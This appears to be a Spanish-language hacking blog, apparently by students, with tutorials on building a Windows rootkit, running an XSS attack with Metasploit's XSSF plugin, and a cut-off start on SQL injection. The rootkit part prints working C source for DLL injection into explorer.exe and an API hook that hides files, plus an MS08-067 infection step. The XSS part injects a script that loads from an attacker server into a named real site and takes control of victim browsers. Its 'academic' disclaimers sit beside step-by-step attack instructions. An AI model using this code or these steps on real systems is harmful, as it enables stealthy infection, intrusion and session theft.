Latest Entries »

¿CÓMO CREAR UN ROOTKIT?

Rootkit + Backdoor + Exploit (Metasploit)

:: S7K ::

ADVERTENCIA: La información aquí expuesta es usada para fines académicos, no nos hacemos responsables del mal manejo que se le dé a la información, el propósito de éste artículo es dar informar para que usted pueda prevenir este tipo de ataques. 

1.- INTRODUCCIÓN

Para poder entender parte del código fuente que se expondrá es necesario tener conocimientos de C/C++ y saber manejar de punteros, además tener una idea sobre ensamblador pero de todas formas puedes consultar en internet si no conoces alguna instrucción, hay mucha información al respecto y muy bien explicada pero seré lo más explícito posible.

También quiero agradecer a E0N porque por su tutorial pude entender y aprender sobre rootkits y su guía me sirvió mucho de ejemplo.

1.1 OBJETIVOS

El objetivo de todo este artículo es en primer lugar entender cómo funciona un rootkit para luego poder crear el nuestro y hacerle los cambios/mejoras al código fuente.

1.2 INDICACIONES:

Haremos un rootkit a nivel de usuario (el rootkit a nivel de kernel es mucho más difícil de detectar pero es más complicado, tendrías que saber programar drivers, sí, de esos que te bajas cuando instalas tu tarjeta de video).

Usaremos el Visual C++ 6 de Microsoft para compilar y también usaremos a nuestro gran amigo Metasploit para aprovecharnos de la MS08-067 (http://support.microsoft.com/kb/958644/es) y abrir una Shell Remota  en la máquina de la víctima (>:D) para poder infectar con nuestro rootkit (después de todo si aprendemos como hacerlo pero no sabemos cómo ponerlo a “trabajar” no nos serviría de mucho leer tanto).

En este artículo aprenderemos 4 cosas:

  1. Que es un rootkit y cómo funciona.

  2. Aprender a inyectar DLL (librerías).

  3. Aprender a “hookear” (API hooking).

  4. Como hacer un ataque para infectar a otros con nuestro rootkit.

2.- EMPEZANDO

2.1 – ¿Qué es un rootkit?

Un rootkit es una herramienta (malware) que permite ocultar procesos, archivos y conexiones al usuario de un sistema. Pero no me refiero a ponerle atributo de oculto a un archivo, hablo de engañar a las propias herramientas del sistema operativo para que piensen que cierto recurso(archivo, conexión, proceso) no existe.

Imaginen lo que podemos hacer, podemos tener control total del sistema y decidir qué es lo que el usuario ve o no ve, podemos copiarle gigas y gigas de información sin que él sepa que existen (y que no pueda encontrarlas).

¿Cómo es posible todo esto?

Lo primero a tener en cuenta es que para modificar el comportamiento de un archivo o programa debemos estar en su mismo espacio de memoria, por “default” el sistema operativo nos pone en un espacio de memoria que nadie más está ocupando (es algo obvio pero por si acaso alguno no lo sabe, lo escribo). Para hacer esto, usaremos lo que se llama Inyección DLL, podemos invadir el espacio de memoria de un programa inyectando el código directamente sin usar DLL pero eso es más complicado y pueden investigarlo luego (cuando aprendan a hacer inyección DLL).

Una vez que invadimos el espacio de memoria del programa ya podremos modificar su comportamiento y allí aplicaremos API Hooking (más abajo explico qué es, por ahora veremos unos conceptos pequeños) para interceptar las llamadas a las APIs del sistema.

¿Qué es inyección DLL?

Bueno hemos leído mucho sobre esto hasta ahora, pero si no lo tienen claro, les diré que la inyección DLL se trata de obligar a un programa o un proceso, a que cargue nuestra DLL en su propio espacio de memoria

¿Qué es API Hooking?

El API Hooking consiste en interceptar las llamadas que hace un programa a las API del sistema operativo, el objetivo de esto es modificar el comportamiento del programa alterando la respuesta que esa API le devuelve.

Si aún no tienes claro todo esto, tranquilo, luego de explicar el API Hooking y la Inyeccion DLL a fondo, vuelve a leer ésta sección.

2.2 LA INYECCION DLL

Si te estás preguntando ¿para qué queremos inyectar una DLL? La respuesta es que cada vez que el proceso víctima llame a una API del sistema, haremos que en vez de llamar esa API, llame a la función que está dentro de la DLL que nosotros le inyectamos y para poder hacer esto necesitamos estar en su mismo espacio de memoria porque no es tan simple como hacer un salto al espacio de memoria del explorer.exe o el svchost.exe

Ya se deben estar imaginando, una vez dentro del espacio de memoria de un proceso podremos saltarnos el firewall haciéndole creer al firewall que el “NOTEPAD.EXE”  quiere conectarse a internet  o que el “ARES.EXE” quiere mandar un archivo de texto a un servidor (en caso de los troyanos sería muy útil).

Esto no se tratará aquí pero si aprenden a inyectar DLL y comprenden el mecanismo (es decir cómo funciona todo) es cuestión de imaginación y leer más de programación :D.

2.2.1 Métodos de inyección:

Tenemos dos métodos para hacer la inyección: Usando DLL o inyectando código directamente.

La ventaja de usar las DLL es que la podemos programar como si fuera un programa común y corriente (si te habías preguntando como se programa una DLL ya tienes la respuesta) con la diferencia de que para ejecutarla necesitamos llamarla desde algún programa aparte (en este caso el explorer.exe será quien llame a nuestra DLL).

Como desventaja puedo mencionar que se requiere la DLL para que el rootkit funcione pero podemos usar algún Binder para unir al ejecutable con la DLL (si no sabes que es un Binder lee esto).

2.2.2 INYECTANDO CON CreateRemoteThread():

Bien, ahora todo va tomando forma, empecemos a armar nuestro escenario.

El proceso al cual le inyectaremos la DLL será al explorer.exe pero ¿que código usamos? Pues usaremos una API llamada CreateRemoteThread (a esta API la llamamos como si fuera una función cualquiera no es nada del otro mundo).

Este método es muy sencillo y en internet encuentras mucha información al respecto.

Tal y como su nombre lo dice vamos a crear un hilo remoto (o crear un hilo en un proceso remoto, como mejor lo entiendan) para ser más específicos, vamos a crear un hilo y se lo inyectaremos al explorer.exe para obligarlo a que ejecute nuestro hilo.

¿Qué hace el hilo que es tan importante? Bueno pues este hilo es el que obligará al explorer.exe a cargar nuestra DLL en memoria y a ejecutarla.

El programa del que hablamos le llamaremos INYECTOR y este es el código:

#include <windows.h>
#include <Tlhelp32.h>

void main()
{
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid;

// OBTENEMOS EL PID DEL PROCESO
// (Si quieren información sobre estas APIs miren la ayuda de microsoft)

HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

//Aquí empezamos a recorrer todos los procesos que están abiertos
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, “explorer.exe”))//comparamos los nombres
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;//guardamos el PID
}
}
CloseHandle(handle);

// INYECTAMOS LA DLL
// (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)

proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle(“kernel32.dll”),”LoadLibraryA”);
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen(“H:\\Dll.dll”),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,”H:\\Dll.dll”,strlen(“H:\\Dll.dll”),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso);
}

Si se fijan donde dice “H:\\Dll.dll” es donde deben poner la ruta donde está ubicada su DLL (ya veremos el código de esa DLL, primero lo primero).

2.3 API HOOKING

Hasta ahora sabemos como inyectar la DLL pero aún no sabemos que hace la DLL.

Ahora que tenemos la idea de como funciona un rootkit y armamos nuestro escenario para saber como podemos inyectar la DLL y así conseguir nuestro objetivo (engañar a algún proceso o programa) vamos a conocer como hacemos para interceptar las llamadas a las API del sistema operativo desde nuestra DLL, para esto usamos el API HOOKING

La API a la que queremos “secuestrar” es la API llamada FindNextFileW que es la encargada de listar los archivos y carpetas, el explorer.exe llama a esta API para saber que archivos hay dentro de alguna carpeta.

Dentro de nuestra DLL crearemos una función llamada “Hookear()” y funciona de esta manera: Una vez que nos inyectamos,  nos metemos o invadimos el espacio de memoria de otro programa, nuestra función “Hookear()” cambiará lo que está en el espacio de memoria de la API  FindNextFileW  y en vez de la API pondrá un salto de memoria hacia nuestra función llamada miFindNextFileW (que esta programada dentro de la misma DLL) de esta manera cada vez que el explorer.exe quiera llamar a la API, lo que en realidad hará será ejecutar el salto y por lo tanto terminará ejecutando nuestra función miFindNextFileW.

Nuestra función miFindNextFileW tiene que llamar a la API original para saber que datos reales devuelve, si nosotros intentamos llamar a la API original en realidad estaríamos haciendo lo mismo que el explorer.exe es decir, ejecutando el salto que pusimos, por lo tanto llamaríamos a nuestra propia función miFindNextFileW creando un bucle infinito que no terminaría nada bonito, para resolver esto lo que haremos básicamente es mover a la API de su espacio de memoria original es decir la copiarla hacia otro lado, y solo nosotros sabríamos donde está.

 

Entonces hasta ahora tenemos lo siguiente:

Esto es lo que normalmente sucede, es decir, la API está cargada dentro del espacio de memoria del explorer.exe

Imagen1

Primero, creamos un programa (Inyector) que se encargará de hacer el trabajo sucio, es decir inyectará la DLL en algún proceso o programa (explorer.exe en este ejemplo) por medio de un hilo. En la imagen vemos como nuestra DLL fue cargada en el espacio de memoria del explorer.exe

Luego cuando el explorer.exe cargue nuestra DLL automáticamente se ejecuta el DLLMain() (es igual que el “void main()” pero de una DLL)  y dentro de ese DLLMain() llamamos a nuestra función “Hookear()” que modificará el espacio de memoria de la API FindNextFileW  para ponerle un salto hacia nuestra función miFindNextFileW.

Entonces cuando el explorer.exe quiera llamar a FindNextFileW  en realidad estaría ejecutando nuestra función miFindNextFileW, y nuestra función será la que llame a FindNextFileW , luego le decimos a nuestra función (miFindNextFileW) que si algún archivo empieza por “S7K” no lo tome en cuenta y así tenemos al explorer.exe sometido.

NOTA: Una vez que nuestro programa  “Inyector” inyecta la DLL, puede terminar su ejecución y no ha pasado nada. Pero lo pueden mejorar para que se mantenga en ejecución y le inyecte esa DLL a cualquier proceso nuevo que se cree y no solo al explorer.exe sino al WinRar.exe y al cmd.exe que son los principales programas que uso para listar archivos.

Ya vimos el código del inyector y vimos donde le decimos la ubicación de la DLL, ahora veamos el código de la función Hookear():

void Hookear()
{
DWORD ProteVieja; // Parametro para VirtualProtect
BYTE *DirFN; // La dirección en memoria de FindNextFileW
BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW

// –> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle(“kernel32.dll”), “FindNextFileW”);

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes 😀
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes…
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN – BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);

// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN – DirFN – 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

Si no se entiende no se preocupen, al final les dejo el code fuente para que lo vean con colores y sangría.

Ahora este es el código de nuestra función miFindNextFileW:

HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}

¿Sencillo no? Aquí les dejo los códigos fuentes para que los compilen con Visual C++ 6 y los prueben. Están documentados y un poquito mejorados respecto a la documentación.

http://www.mediafire.com/?2gc5gibaryqa4bw

También les dejo este video donde explico un poco el código fuente y vemos como compilarlo.

>> DESCARGAR VIDEO #1 ENTERO EN HD [AVI] <<

COMPILACIÓN DEL ROOTKIT – PARTE 1

COMPILACIÓN DEL ROOTKIT – PARTE 2

Recuerden que tenemos dos componentes. El inyector que es un “.exe” y la DLL.

########################################################################

ÚLTIMA PARTE: EL ATAQUE

########################################################################

Bien una vez que tenemos el rootkit (nuestro exe y nuestra DLL) compilado, necesitamos ejecutarlo en alguna victima.

Para esto usamos 2 máquinas virtuales: Una con XP SP3 y otra con Backtrack 5 R3

Para este ataque preferí poner un video para que sea más explicativo.

>> DESCARGAR VIDEO #2 ENTERO EN HD [AVI] <<

Ataque Rootkit + Backdoor + Exploit (Metasploit) – Parte 1

Ataque Rootkit + Backdoor + Exploit (Metasploit) – Parte 2

RECOMENDACIONES:

Para que se protejan de rootkits, usen un buen antivirus y manténganlo actualizado siempre, ojalá no les toque la mala suerte de infectarse con un rootkit a nivel de kernel, a pesar de que ya hay bastantes, existen herramientas de desinfección que te liberan de ese problema, si notas algún comportamiento raro haz un escaneo de tu disco en otra máquina que no sea la infectada.

Para que les funcione el código usen el Visual C++ 6.0 de Microsoft, deben tener conocimientos de C/C++, desilusiona mucho cuando uno sigue al pie de la letra todo pero no funciona al final, esto pasa porque no conocemos del todo lo que estamos haciendo y solo estamos obedeciendo lo que nos dice el tutorial. Busquen sobre cada función que desconozcan y entiendan que hace y como funciona. El código se ve fácil cuando sabemos para que sirve cada cosa.

Lo del Backtrack, es solo una demostración, como hagan el reverse shell depende de ustedes, si la victima usa Windows 7, el CreateRemoteThread no funcionará por cuestiones de seguridad, pero les toca investigar como hacer la inyeccion en Windows 7, con lo que vimos aquí es suficiente para que se guíen. O directamente pueden crear un “explorer.exe” que venga precargado con nuestra DLL y lo reemplazamos por el original, se me ocurren tantas cosas :D.

CONCLUSIONES:

Bien decían que Windows es un virus con interfaz gráfica, podemos aprovecharnos de sus mismas funcionalidades para hacer travesuras. Como dije anteriormente, actualicen su antivirus, si son usuarios muy avanzados se conformarán con el Security Essentials de Microsoft.

Otra conclusión importante es que el verdadero hacking no es solo seguir tutoriales y hacer cosas sin saber como funcionan en realidad, esta bien seguir tutoriales pero investiguen para que sirve cada cosa y comprendan el mecanismo, si algo del código no les sale, investiguen sobre las funciones que se usan para que las entiendan, pueden que comentan errores sin darse cuenta.

Si quieren ser hackers, tienen el camino bien difícil, lo primero es cambiar el leer manga o ver series en youtube por leer más de programación, después de todo el buffer overflow se hace en C/C++ en su mayoría de veces, deben estar actualizados con lo último en tecnología y  estudiar mucho las nuevas arquitecturas de hardware y software que van apareciendo. Esto y muchas muchas otras cosas más les ayudarán a llegar a su objetivo pero lo más importantes es amor y dedicación a la programación e informática en general. Recuerden al hacker que ganó $60000 por descubrir una vulnerabilidad en el navegador Google Chrome tuvo que saber mucho de programación para saltarse la cajita de arena (sandbox).

AUTORES:

Andrés Muñoz Ponguillo –  @Crabax

Olga Carreño Holguín – @Olguita0_0

Julio Caamaño – @caamao_julio

Victor Hugo Padilla – @victorpadilla90

–>

ATAQUE XSS UTILIZANDO LA HERRAMIENTA BACKTRACK

INDICE

1. Aclaración
2. Introduccción
3. Glosario
4. Definición XSS
5. La identificación de Cross-Site Scripting (vulnerabilidades)
6. Tipos de Ataque XSS
>6.1 XSS Reflectantes
>6.2 XSS Persistentes
7. Objetivo del Ataque XSS
8. ¿Cómo funciona?
9. ¿Cómo evitarlo?
10. ¿En qué navegadores se puede aplicar?
11.Aplicación del Ataque
>11.1Software Utilizados para la Ataque XSS
>11.2Verificación de las IP
>11.3Usando XSSF con Metasploit
>11.4Instalación de Plugin XSSF
>11.5Ejemplo Aplicativo
12.Video Demostrativo
13. Conclusión
14.Bibliografía

 

1. ACLARACIÓN

El siguiente tutorial esta hecho con fines educativos, como posible soluciones a problemas que ha diario suceden en el mundo de la informática, esto puede ser por una o varias personas que buscan vulnerar la seguridad de este medio. No nos responsabilizamos por la visualización, gestión o manipulación del material presentado en este blog.

Este pequeño  tutorial lo realizamos para todos aquellos que desean conocer como poder usar los distintos comandos que posee la herramienta metaploist que se encuentra en el Sistema Operativo BackTrack, para esta ocasión usaremos el Plugin XSSF,  este funciona en la gran mayoría de los casos permite el ataque a paginas web vulnerables, tal como se indicara mas adelante.

2. INTRODUCCIÓN

XSS, del inglés Cross-site scripting, se usa la X en lugar de la C para que no se confunda esta sigla con la de CSS (Hojas de Estilo en Cascada), que no es una falla sino más bien una tecnología para maquetado de páginas. Es uno de los ataques web más comunes de capa de aplicación.  Un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar, evitando medidas de control como la Política del mismo origen. Este tipo de vulnerabilidad se conoce en español con el nombre de Secuencias de comandos en sitios cruzados.

3. GLOSARIO

A continuación le detallaremos una lista de términos que intervienen en este tema.

Ataque informático: Consiste en aprovechar alguna debilidad o vulnerabilidad en el software, en el hardware, e incluso, en las personas que forman parte de un ambiente informático, causando un efecto negativo en la seguridad del sistema, que luego repercute en los activos de la organización.

Vulnerabilidad: Hace referencia a una debilidad en un sistema, permitiendo a un atacante  violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.

Script: Son un conjunto de instrucciones generalmente almacenadas en un archivo de texto que deben ser interpretados línea a línea en tiempo real para su ejecución, se distinguen de los programas, pues estos deben ser convertidos a un archivo binario ejecutable.

URL: Significa Uniform Resource Locator (Localizador Uniforme de Recursos). Es una dirección que permite acceder a un archivo  o recurso como ser páginas html, php, asp, o archivos gif, jpg, etc. Se trata de una cadena de caracteres que identifica cada recurso disponible en la www.

Metasploit: Es una herramienta para desarrollar y ejecutar exploits contra una máquina remota.

msfconsole: Es probablemente la interfaz más popular de la MSF, ofrece un todo-en-uno consola centralizada, permite acceso eficaz a prácticamente todas las opciones disponibles en el Metasploit.

XSSF: Es un framework, creado por Ludovic Courgnaud, que nos permite “administrar” víctimas de XSS genéricos y realizar posteriores ataques, así como mantener el enlace para futuros ataques.

4. DEFINICIÓN XSS (Cross-site scripting)

El concepto de XSS es manipular las secuencias de comandos del lado del cliente de una aplicación web para ejecutar de la manera deseada por el usuario malicioso. Tal manipulación puede incrustar un script en una página que puede ser ejecutado cada vez que se carga la página, o cada vez que un evento asociado se realiza.

En un ataque XSS típica del hacker infecta una página web legítima de su malicioso script de cliente. Cuando un usuario visita esta página web el script que se descarga de su navegador y se ejecuta. Hay muchas variaciones de este tema, sin embargo todos los ataques XSS siguen este patrón, que se representa en el siguiente diagrama.

5. LA IDENTIFICACIÓN DE CROSS-SITE SCRIPTING (VULNERABILIDADES)

Vulnerabilidades XSS puede ocurrir si:

  • Entrada de entrar en las aplicaciones web no se valida
  • Salida para el navegador no es HTML codificado

 

6. TIPOS DE ATAQUE XSS

6.1 XSS REFLECTANTES

Hay muchas maneras en que un atacante puede atraer a su víctima a iniciar una solicitud XSS reflexivo. Por ejemplo, el atacante podría enviar a la víctima un correo electrónico engañoso con un enlace que contiene código JavaScript malicioso. Si la víctima hace clic en el enlace, la petición HTTP se inicia desde el navegador de la víctima y se envía a la aplicación web vulnerable. El código JavaScript malicioso luego se refleja de vuelta al navegador de la víctima, en los que se ejecuta en el contexto de la sesión del usuario víctima.

6.2 XSS PERSISTENTES

Considere la posibilidad de una aplicación web que permite al usuario introducir un nombre de usuario que se muestra en la página del perfil de cada usuario. La aplicación almacena cada nombre de usuario en una base de datos local. Un usuario malicioso se da cuenta de que la aplicación Web no puede desinfectar el campo de nombre de usuario y código malicioso JavaScript entradas como parte de su nombre de usuario. Cuando otros usuarios ver la página de perfil del atacante, el código malicioso se ejecuta automáticamente en el contexto de la sesión.

 

7. OBJETIVO DEL ATAQUE XSS

Cuando los atacantes tener éxito en la explotación de vulnerabilidades XSS, pueden acceder a las credenciales de la cuenta. También se puede propagar gusanos Web o acceder al ordenador del usuario y ver el historial del navegador del usuario o controlar el navegador de forma remota. . Después de ganar el control de sistema de la víctima, los atacantes también puede analizar y utilizar otras aplicaciones de intranet.

Mediante la explotación de vulnerabilidades XSS, un atacante puede realizar acciones maliciosas, tales como:

  • Secuestrar una cuenta
  • Acceso historial del navegador y el contenido del portapapeles
  • Controlar el navegador de forma remota
  • Explorar y explotar aplicaciones de intranet y aplicaciones
  • Modificación del contenido
  • Acceso a la información confidencial o restringida
  • Robo de sesión
  • La alteración de la funcionalidad del aplicativo web
  • Ataques de denegación de servicio.

8. ¿CÓMO FUNCIONA?

El XSS es un problema de seguridad en las página web, generalmente por vulnerabilidades  en el sistema de validación de datos  entrantes. Un ataque XSS consiste en enviar un script malicioso a la página, ocultándolo entre solicitudes legítimas. Para funcionar necesitan un punto de entrada, que suelen ser los formularios. A través de un ataque XSS, se puede secuestrar cuentas, cambiar configuraciones de los usuarios, acceder a partes restringidas del sitio, modificar el contenido del sitio, etc. El Marco de XSS (XSSF) es capaz de gestionar las víctimas de un ataque XSS genéricos y mantener una conexión para ataques futuros.

Después de la inyección del ataque genérico (recursos”bucle” generado por XSSF), cada víctima le pedirá al servidor de ataque (cada “x” segundos) en caso de nuevos comandos están disponibles:

  • Simple script / ejecución HTML (módulos XSSF auxiliar) en víctima específica o grupo de víctimas.
  • MSF Explotar la ejecución de las víctimas específicas.
  • XSS túnel con la víctima objetivo.

 

9. ¿CÓMO EVITARLO?

Para evitar este tipo de ataques, se deben programar las aplicaciones web, filtrando determinados comandos. En general en los ataques XSS son usadas etiquetas como SCRIPT, OBJECT, APPLET, EMBED y FORM. Actualmente en la web encontramos herramientas tales como Veracode que están haciendo un servicio gratuito disponible como parte de erradicar esta vulnerabilidad común definidos por el Estado Veracode Informe de Software de Seguridad.

 

10. ¿EN QUÉ NAVEGADORES SE PUEDE APLICAR?

            • Mozilla Firefox (2, 3, 3.5, 3.6, 4)
            • Google Chrome (5, 6 Beta)
            • Microsoft Internet Explorer (6, 7, 8, 9 Preview)
            • Apple Safari (3, 4, 5)
            • Opera (9, 10)
            • Entre otros

11. APLICACIÓN DEL ATAQUE

11.1 Software Utilizados para la Ataque XSS

 VMware

Es un sistema de virtualización por software. Un sistema virtual por software es un programa que simula un sistema físico (un computador, un hardware) con unas características de hardware determinadas. Cuando se ejecuta el programa (simulador), proporciona unambiente de ejecución similar a todos los efectos a un computador físico (excepto en el puro acceso físico al hardware simulado), con CPU (puede ser más de una), BIOS, tarjeta gráfica, memoria RAM, tarjeta de red, sistema de sonido, conexión USB, disco duro (pueden ser más de uno), etc.

Con este software vamos a crear 2 máquinas virtuales:

  • Back Track
  • Windows XP

 

11.2 Verificación de las IP

Luego de haber creado las maquinas debemos confirmar que se encuentren en la misma red, nos dirigiremos a cada una de las maquinas y revisaremos las IP abriendo las consolas de cada Sistemas Operativo. En el caso de Windows XP abrimos en el cmd, usamos el comando ipconfig:

Para el caso de BackTrack se debe abrir la consola root y digitamos el comando ifconfig:

11.3 Usando XSSF con Metasploit

 XSSF es utilizado en Metasploit como un plugin adicional que se carga en el momento en el que se decida hacer uso de el, antes de cargarlo, se debe tener en cuenta que las primeras instrucciones que se llevaran a cabo por el plugin, son la conexión con una base de datos para almacenar los resultados de las pruebas de penetración ejecutadas, si desde la consola de metasploit no existe ninguna conexión a base de datos activa, el plugin de xssf intentara crear una base de datos con sqlite3.

Algunas sentencias:

msf > xssf_TAB TAB
msf > search xssf
msf > xssf_servers
msf > xssf_active_victims
msf > xssf_information 1

Como primer paso importante se debe descargar el plugin de XSSF para metasploit. A continuación le adjuntamos el link para que puedan descargar esta aplicación:

http://www.metasploit.com/redmine/attachments/596/XSSF.zip

Todo el contenido de este fichero comprimido se extrae en el directorio raíz de metasploit del Sistema Operativo BackTrack.

11.4  Instalación de Plugin XSSF

Abrimos la terminal del backtrack, procedemos a escribir el siguiente  código de instalación.

cd /opt/framework-3.7.0/msf3
wget http://dev.metasploit.com/redmine/attachments/596/XSSF.zip
unzip XSSF.zip
cp -r data/ lib/ modules/ plugins/ ../

 Una vez ya instalado esta aplicación podremos realizar nuestro ataque.

 

11.5 Ejemplo Aplicativo

 Primeramente nos ubicaremos en el Windows XP, usaremos el navegador Internet Explorer para la práctica, como se ha mencionado el XSS es un ataque basado en páginas vulnerables, previamente ya hemos buscado una página web accesible para el ejemplo, a continuación les dejaremos un link donde podrán encontrar algunas páginas web vulnerables:

http://www.hackxcrack.es/forum/index.php?topic=5974.0

Como se puede observar en la imagen siguiente, tenemos abierto un sitio web en Windows XP, la dirección es: https://vivo.ufl.edu/search?flag1=1&querytext

A continuación nos cambiaremos al sistema operativo BackTrack, y realizaremos los siguientes pasos:

1. Activamos la herramienta metasploit con el comando msfconsole, esto nos permitirá utilizar el plugin de XSSF.

2. Cargar el XSSF. Al igual que otras extensiones, se emplea el comando load para cargar un plugin en el contexto de metasploit.  Digitamos load XSSF.

3. Una vez cargado el plugin, se iniciará un servidor en la ruta indicada. La ruta http://192.168.159.137:8888/loop la establecemos en un navegador web para verificar que su funcionamiento es el esperado, esto será ubicado dentro de un script:

                <script src=“http://192.168.159.137:8888/loop?interval=5”></script>

Esta sentencia la insertada en la URL de la página web vulnerable que anteriormente levantamos en el navegador Internet Explorer del Windows XP, a continuación actualizamos el portal web.

4. Una vez se ha inyectado la ruta anterior sobre una aplicación vulnerable, regresamos a nuestra consola de metasploit en el BackTrack, se utilizará el comando xssf_active_victims para ver las victimas que han verificado en el enlace.

     

5. Podemos ver información relacionada con alguna de las victimas utilizando el comando xssf_information <ID_VICTIM>, el ID_VICTIM es el numero de la id de la victima.

                

6. Posteriormente, podemos ejecutar alguno de los auxiliaries ubicados en auxiliary/xssf para ejecutar diferentes operaciones sobre las victimas, por ejemplo desde la consola metasploit usamos el auxiliary: use auxiliary/xssf/alert.

                          

7. Ingresamos un mensaje de texto que se ejecutará como un alert en la aplicación objetivo. La sentencia a digitar es set AlertMessage (mensaje a mostar) y una vez cargado el mensaje se escribe la instrucción run para ejecutar.

8. En la página web vulnerable del Windows XP, se lanzará un mensaje de javascript con el texto indicado en la opción AlertMessage del auxiliary.

El uso de los auxiliaries para XSSF es bastante similares en todos los casos, el único requisito fundamental para que su funcionamiento sea el esperado, es precisamente, que exista un una víctima XSS activa o con una cookie incrustada en el navegador, puede usarse el auxiliary correspondiente a la inserción de una cookie en el navegador con el auxiliary: auxiliary/xssf/cookie.

 

12. VIDEO DEMOSTRATIVO

Ataque XSS usando Back Track S7K – 2012

 

13. CONCLUSIÓN

El creciente desarrollo actual del paradigma Web para el desarrollo de aplicaciones está planteando nuevas amenazas de seguridad contra las infraestructuras de dichas aplicaciones, están deben considerar la necesidad de utilizar herramientas de soporte que garanticen un desarrollo seguro y libre de vulnerabilidades como técnicas de programación segura, modelos de programación segura y especialmente la construcción de marcos de desarrollo y producción.

En este blog, nos hemos enfocado acerca de ataques contra aplicaciones Web, es especifico el plugin XSS de la herramienta Back track, siendo esta una herramienta muy encontrada en el medio informático. Conocimos como la existencia de vulnerabilidades de cross-site scripting (XSS) en una aplicación puede suponer un riesgo muy importante tanto para la misma aplicación como para sus usuarios. También hemos revisado las técnicas que se utilizan para la prevención de ataques XSS, ya sea el caso de ataques XSS persistentes o no persistentes, actualmente hay soluciones muy interesantes con diferentes modos de intentar solucionar el problema pero estas soluciones tiene algunos fallos, algunas no garantizan un nivel de seguridad suficiente y pueden ser fácilmente vulneradas, explicamos un pequeño ejemplo demostrativo de como se realiza el ataque usando herramientas, comandos, instrucciones, etc., entre maquinas virtuales. Concluimos que una solución eficiente y completa para prevenir ataques XSS se debería considerar la aplicación de políticas de seguridad definidas en el la parte del servidor e implementadas en la parte del cliente.

14. BIBLIOGRAFÍA

http://es.wikipedia.org/wiki/Cross-site_scripting
http://www.alegsa.com.ar/Dic/xss.php
http://comandante-linux.blogspot.com/2011/05/xssf-metasploit-ubuntu-1104.html
http://thehackerway.com/2011/05/27/utilizando-xssf-en-metasploit-framework-explotando-xss/
http://www.kungfoosion.com/2011/02/explotando-xss-con-metasploit.html

 

Integrantes:

ATAQUE SQL INJECTION

SQL INJECTION

El siguiente ataque tiene uso académico, no nos responsabilizamos por el uso que se le dé a la información, nuestro propósito es dar a conocer esta técnica para que usted se proteja de ataques similares.

Bienvenido al interesante mundo informático, en esta ocasión tenemos el agrado de mostrarle(s) cómo realizar un ataque SQL Injection, sin embargo muy probablemente usted(es) dirá(n) ¿qué es esto?,¿En qué consiste? O ¿De qué me están hablando? Bueno tranquilo(s) que aquí vamos a explicarles en primer punto conceptos porque consideramos que para que puedan explotar lo interesante del tema, primero deben saber de lo que estamos hablando, para lo cual daremos una pequeña introducción.

1.1.- INTRODUCCIÓN

¿Qué es? ¿En qué consiste?

Muy frecuentemente se piensa que a través de SQL solamente se puede obtener acceso a la base de datos. Esto generalmente es así, pero SQL es un lenguaje muy versátil y nos permite hacer muchas cosas… entre ellas leer archivos en el disco duro.

El sql injection es un tipo de ataque a una base de datos en el cual, por la mala filtración de las variables se puede inyectar un código creado por el atacante al propio código fuente de la base de datos, consiste en la modificación del comportamiento de nuestras consultas mediante la introducción de parámetros no deseados en los campos a los que tiene acceso el usuario.

